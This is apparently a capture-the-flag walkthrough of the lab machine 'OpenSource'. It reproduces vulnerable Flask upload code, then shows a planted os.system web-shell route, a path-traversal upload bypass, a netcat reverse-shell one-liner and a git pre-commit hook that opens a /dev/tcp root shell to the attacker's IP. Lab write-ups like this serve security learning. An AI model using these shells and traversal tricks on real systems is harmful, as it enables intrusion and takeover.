kedaegan.github.io

OpenSource

Enumeration

Ports and Services

Software Installed:

Nmap Scan Results:

Gobuster Scan:

Homepage:
URL: http://10.129.108.178/

Source Code Download
URL: http://10.129.108.178/download/source.zip

Upcloud
URL: http://10.129.108.178/upcloud

The source code shows utils.py and views.py
Utils.py:

import time                                                                                                           
                                                                                                                      
                                                                                                                      
def current_milli_time():
    return round(time.time() * 1000)


"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""


def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")


"""
TODO: get unique filename
"""


def get_unique_upload_name(unsafe_filename):
    spl = unsafe_filename.rsplit("\\.", 1)
    file_name = spl[0]
    file_extension = spl[1]
    return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension


"""
Recursively replace a pattern in a string
"""


def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

views.py:

import os                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                            
from app.utils import get_file_name                                                                                                                                                                                                         
from flask import render_template, request, send_file                                                                                                                                                                                       
                                                                                                                                                                                                                                            
from app import app                                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
@app.route('/', methods=['GET', 'POST'])                                                                                                                                                                                                    
def upload_file():                                                                                                                                                                                                                          
    if request.method == 'POST':                                                                                                                                                                                                            
        f = request.files['file']                                                                                                                                                                                                           
        file_name = get_file_name(f.filename)                                                                                                                                                                                               
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)                                                                                                                                                               
        f.save(file_path)                                                                                                                                                                                                                   
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')                                                                             
                                                                                                                      
                                                                                                                      
@app.route('/uploads/<path:path>')                                                                                    
def send_report(path):                                                                                                
    path = get_file_name(path)                                                                                        
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))             

Initial Foothold

Looking at utils they some basic LFI protection against ../ so that when it sees it it would replace it with “”.
Tested with a basic python script:

The filename can be a path.
It put the file in /upload and when I visited the link it was a download rather than run code.

Attempted adding cmd code to views.py:

@app.route('/exec')
def runcmd():
	return os.system(request.args.get('cmd'))

Saved the new views.py and uploaded it by replacing the filename in Burp with the path ../app/app/views.py

Changed the path to ..//app/app/views.py

Result is success:

Test RCE:
URL: 10.129.108.178/exec?cmd=ping -c 1 10.10.14.103
Browser Response:

Listening for ICMP response:

Resent request via Burp Repeater with full URL encoding of the cmd:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.103 8888 >/tmp/f


Nothing of interest was found

Looking at .git that was included in source.zip
git show-branch

Look at the logs
git log dev –oneline

Look at commit a76f8f7

Looks like a username/password was found
SSH Requires a public/private key:

Other IP’s:

172.17.0.1:

172.17.0.2-9 excluding 4:

Using Chisel for a reverse proxy:
https://www.youtube.com/watch?v=ghZ8XK9zEfI

Port 3000 on 172.16.0.1 is a Gitea Server:

Logged in as dev01 using found credentials from above

Found pub/priv ssh keys:

Used private key to login as dev01

User.txt Proof Screenshot

Privilege Escalation

Looks like a cron job committing

Created a pre-commit hook in /home/dev01/.git/hooks and made it executable

pre-commit:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.82/8888 0>&1

Waited and recevied a root shell:

Found private SSH key and ssh as root:

RootScreenshot Here: